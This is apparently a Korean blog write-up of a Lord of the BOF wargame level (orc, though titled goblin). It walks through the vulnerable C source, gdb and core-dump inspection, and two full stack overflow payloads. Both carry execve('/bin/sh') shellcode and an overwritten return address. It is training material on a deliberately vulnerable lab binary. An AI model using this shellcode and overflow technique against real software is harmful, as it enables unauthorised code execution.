Pwnable/LOB

[LOB] goblin 문제 풀이!!!!

RootJJang 2022. 5. 12. 23:08
SMALL

소스코드 화긴

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

오 코드가 좀 기네요...

 

음 egghunter로 환경변수를 초기화하고

if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

48번째값이 \xbf가 아니면 프로그램이 종료되네요

 

이걸로 환경변수에 쉘코드를 넣는 방법과 RTL 방법이 불가능하네요

 

그렇다면 걍 buffer에 쉘코드를 넣고 RET에 buffer의 주소를 덮어쓰는 방법을 써보겠습니다

 

gate와 문제 풀이가 똑같으니 봐주시면 감사하겠습니다

 

https://qpalzm1029.tistory.com/34

 

[LOB] gate 문제 풀이!

와우 이번엔 LOB! FTZ를 끝냈다면 꼭 풀어야할 워게임이다 id : gate / pwd : gate로 로그인을 해준 후 명령창에 꼭 bash2라고 쳐준다 bash2를 입력해주는 이유는 \xff를 \x00으로 인식하는 오류를 피하기 위

qpalzm1029.tistory.com

 

gdb로 buffer의 주소를 알아보도록 하겠습니다

 

스택에서 저장되는 값의 주소를 알기 위해 main+194에 bp를 걸어줍니다

 

대충 44개를 입력 받아 스택 어디에 저장되는지 확인해보죠

 

아 아까 인자값이 \xbf여야 한다고 했죠?

 

그럼 \xbf를 아예 48개를 채워버립시다

 

성공적으로 실행됐네요

 

이제 스택을 확인해보죠

 

대충 RET 주소를 0xbffffab4로 해주죠

 

이제 페이로드를 작성해 봅시당

 

Payload = 쉘코드[25] + dummy[19] + 0xbffffab4

 

최종 페이로드 = ./orc $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*19 + "\xb0\xfa\xff\xbf"')

 

이번에도 RET 주소가 바뀌었나 보네요..

 

tmp에 가서 다시 실행해보죠

 

core가 생성됐네요 함 분석해봅시다

 

함 1000개 정도 살펴보죠

 

잘 보면 쉘코드 값과 dummy값이 들어간 곳이 보이네요

 

이번엔 RET 주소를 0xbffffc50으로 해주겠습니다

 

흠 이번엔 Illgeal instruction이 뜨네요..

 

그렇다면 다른 방법으로 풀어보도록 하죠

 

바로 스택 영역에서 RET이 저장된 뒷공간을 이용하는 방법입니다

 

그렇다면 RET를 덮어줄 뒷공간에 주소가 필요합니다

 

gdb 고고

 

아까는 buffer의 주소만 알면 돼서 48bytes만큼만 채워 넣었지만 이번에 뒷공간의 주소를 알기 위해 100bytes만큼의 dummy값을 넣어보죠

 

와우 저게 바로 뒷공간이네요

 

대충 RET 주소를 0xbffffc14로 해주고 RET을 덮어준 다음 RET에서 뒷공간의 주소를 호출하고 쉘을 실행하기 위해 쉘코드를 넣어줍니다

 

이제 페이로드를 함 짜봅시다

 

Payload = dummy[44] + 0xbffffc14 + dummy[100] + 쉘코드[25]

 

최종 페이로드 = ./orc $(python -c 'print "\x90"*44 + "\x14\xfc\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

 

플래그 겟또다제!

LIST